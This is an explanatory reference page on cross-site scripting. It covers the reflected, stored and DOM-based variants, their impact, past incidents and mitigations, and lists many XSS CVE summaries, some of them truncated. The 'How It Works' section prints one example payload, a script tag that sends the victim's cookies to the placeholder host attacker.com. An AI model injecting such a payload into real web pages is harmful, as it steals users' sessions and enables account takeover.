Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (39005)
GLPI is an open-source asset and IT management software package that provides ITIL Service Desk features, licenses tracking and software auditing. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
GLPI is an open-source asset and IT management software package that provides ITIL Service Desk features, licenses tracking and software auditing. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
GLPI is a Free Asset and IT Management Software package, Data center management, ITIL Service Desk, licenses tracking and software auditing. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability, which was classified as problematic, has been found in code-projects Farmacia 1.0.php. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting vulnerability in Chamilo LMS v.1.11.26 allows an attacker to execute arbitrary code via the svkey parameter of the storageapi.php file. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
GLPI is a free asset and IT management software package. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
GLPI is a free asset and IT management software package. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The web interface in RSA NetWitness 11.7.2.0 allows Cross-Site Scripting (XSS) via the Where textbox on the Reports screen during new rule creation. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability in M2000 Smart4Web before v.5.020241004 allows a remote attacker to execute arbitrary code via the error parameter in URL. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
GLPI is a free Asset and IT management software package. Rated medium severity (CVSS 6.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
GLPI is a free asset and IT management software package. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
emlog pro <=2.3.18 is vulnerable to Cross Site Scripting (XSS), which allows attackers to write malicious JavaScript code in published articles. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability has been found in SourceCodester Online Eyewear Shop 1.0 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
A vulnerability, which was classified as problematic, was found in code-projects Farmacia 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A cross-site scripting (XSS) vulnerability in Shenzhen Landray Software Co.,LTD Landray EKP v16 and earlier allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
IBM Concert Software 1.0.0 through 1.0.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability classified as problematic has been found in code-projects Online Shop Store 1.0. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in IBPhoenix ibWebAdmin up to 1.0.2 and classified as problematic.php of the component Banco de Dados Tab. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A stored cross-site scripting (XSS) vulnerability exists in craigk5n/webcalendar version 1.3.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
An XSS issue was discovered in MDaemon Email Server before version 24.5.1c. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A stored cross-site scripting (XSS) vulnerability exists in openemr/openemr version 7.0.1. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
The Essential Addons for Elementor - Best Elementor Addon, Templates, Widgets, Kits & WooCommerce Builders plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Hide My WP Ghost - Security & Firewall plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the URL in all versions up to, and including, 5.3.01 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Jobs for WordPress plugin before 2.7.8 does not sanitise and escape some of its Job settings, which could allow high privilege users such as contributor to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Yotpo: Product & Photo Reviews for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'yotpo_user_email' and 'yotpo_user_name' parameters in all versions up. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-site scripting vulnerability exists in FitNesse releases prior to 20241026. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The WP Activity Log plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the user_id parameter in all versions up to, and including, 5.2.1 due to insufficient input sanitization and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The Tripetto plugin for WordPress is vulnerable to Stored Cross-Site Scripting via File uploads in all versions up to, and including, 8.0.11 due to insufficient input sanitization and output. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The WP AdCenter - Ad Manager & Adsense Ads plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's wpadcenter_ad shortcode in all versions up to, and including, 2.5.7 due. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The LearnPress Export Import - WordPress extension for LearnPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'learnpress_import_form_server' parameter in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross-Site Request Forgery (CSRF) vulnerability in gentlesource Appointmind appointmind allows Stored XSS.0.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-Site Request Forgery (CSRF) vulnerability in GeekRMX Twitter @Anywhere Plus twitter-anywhere-plus allows Stored XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-Site Request Forgery (CSRF) vulnerability in Henrik Hoff WP Course Manager wp-course-manager allows Stored XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability in Virtuozzo Hybrid Server for WHMCS Open Source v.1.7.1 allows a remote attacker to obtain sensitive information via modification of the hostname parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-Site Request Forgery (CSRF) vulnerability in Platform.ly Platform.ly Official platformly allows Stored XSS.ly Official: from n/a through <= 1.1.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-Site Request Forgery (CSRF) vulnerability in Ciprian Popescu W3P SEO wp-perfect-plugin allows Stored XSS.8.6. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-Site Request Forgery (CSRF) vulnerability in fraudlabspro FraudLabs Pro SMS Verification fraudlabs-pro-sms-verification allows Stored XSS.10.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
parisneo/lollms-webui version 9.6 is vulnerable to Cross-Site Scripting (XSS) and Open Redirect due to inadequate input validation and processing of SVG files during the upload process. Rated high severity (CVSS 7.3), this vulnerability is no authentication required, low attack complexity. Public exploit code available.
A Reflected Cross-Site Scripting (XSS) vulnerability was found in the /search-result.php page of the PHPGurukul User Registration & Login and User Management System 3.2. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/teachers.php in KASHIPARA E-learning Management System Project 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Improper Neutralization of Input During Web Page Generation vulnerability in DInGO dLibra software in the parameter 'filter' in the endpoint 'indexsearch' allows a Reflected Cross-Site Scripting. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/department.php in KASHIPARA E-learning Management System Project 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/admin_user.php in KASHIPARA E-learning Management System Project 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/school_year.php in KASHIPARA E-learning Management System Project 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/calendar_of_events.php in KASHIPARA E-learning Management System Project 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/class.php in KASHIPARA E-learning Management System Project 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/add_subject.php in KASHIPARA E-learning Management System Project 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
An issue has been discovered in GitLab CE/EE affecting all versions from 16 before 17.3.7, 17.4 before 17.4.4, and 17.5 before 17.5.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
An issue was discovered in GitLab CE/EE affecting all versions starting from 17.2 prior to 17.3.7, starting from 17.4 prior to 17.4.4 and starting from 17.5 prior to 17.5.2, which could have allowed. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
IBM Security ReaQta 3.12 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
IBM Security ReaQta 3.12 is vulnerable to cross-site scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
An issue has been discovered in GitLab CE/EE affecting all versions from 17.3 before 17.3.7, 17.4 before 17.4.4, and 17.5 before 17.5.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-write Panorama administrator to push a specially crafted configuration to a PAN-OS node. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
VaeMendis - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in ITG Computer Technology vSRM Supplier Relationship Management System allows Reflected XSS,. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The Simple File List WordPress plugin before 6.1.13 does not sanitise and escape a generated URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A stored Cross-site Scripting vulnerability has been discovered in Sonatype Nexus Repository 215.1. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Jenkins Authorize Project Plugin 1.7.2 and earlier evaluates a string containing the job name with JavaScript on the Authorization view, resulting in a stored cross-site scripting (XSS) vulnerability. Rated high severity (CVSS 8.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The file upload function in the "QWKalkulation" tool of baltic-it TOPqw Webportal v1.35.287.1 (fixed in version 1.35.291), in /Apps/TOPqw/QWKalkulation/QWKalkulation.aspx, is vulnerable to Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The "Stammdaten" menu of baltic-it TOPqw Webportal v1.35.283.2 (fixed in version 1.35.291), in /Apps/TOPqw/qwStammdaten.aspx, is vulnerable to persistent Cross-Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A stored cross-site scripting (XSS) vulnerability in the Create Customer API in Incognito Service Activation Center (SAC) UI v14.11 allows authenticated attackers to execute arbitrary web scripts or. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Umbrel is a home server OS for self-hosting. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
In visitUris of multiple files, there is a possible information disclosure due to a confused deputy. Rated medium severity (CVSS 5.5), this vulnerability is low attack complexity.
Decidim is a participatory democracy framework. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
macro-pdfviewer is a PDF Viewer Macro for XWiki using Mozilla pdf.js. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A Reflected cross-site scripting (XSS) vulnerability in browse.php of Code-projects Jonnys Liquor 1.0 allows remote attackers to inject arbitrary web scripts or HTML via the search parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability was found in Public CMS 5.202406.d and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in AirTies Air4443 Firmware allows Cross-Site Scripting (XSS). Rated medium severity (CVSS 4.6), this vulnerability is low attack complexity. No vendor patch available.
A Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in openSUSE Tumbleweed MirrorCache allows the execution of arbitrary JS via reflected XSS in the. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Form Builder widget in all versions up to, and including, 1.7.1001 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Countdown widget in all versions up to, and including, 1.7.1001 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Google Maps widget in all versions up to, and including, 1.7.1001 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The AFI - The Easiest Integration Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping on the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross-site scripting vulnerability exists in VK All in One Expansion Unit versions prior to 9.100.1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Product Delivery Date for WooCommerce - Lite plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The Kognetiks Chatbot for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'dir' parameter in all versions up to, and including, 2.1.7 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Constant Contact Forms by MailMunch plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 39005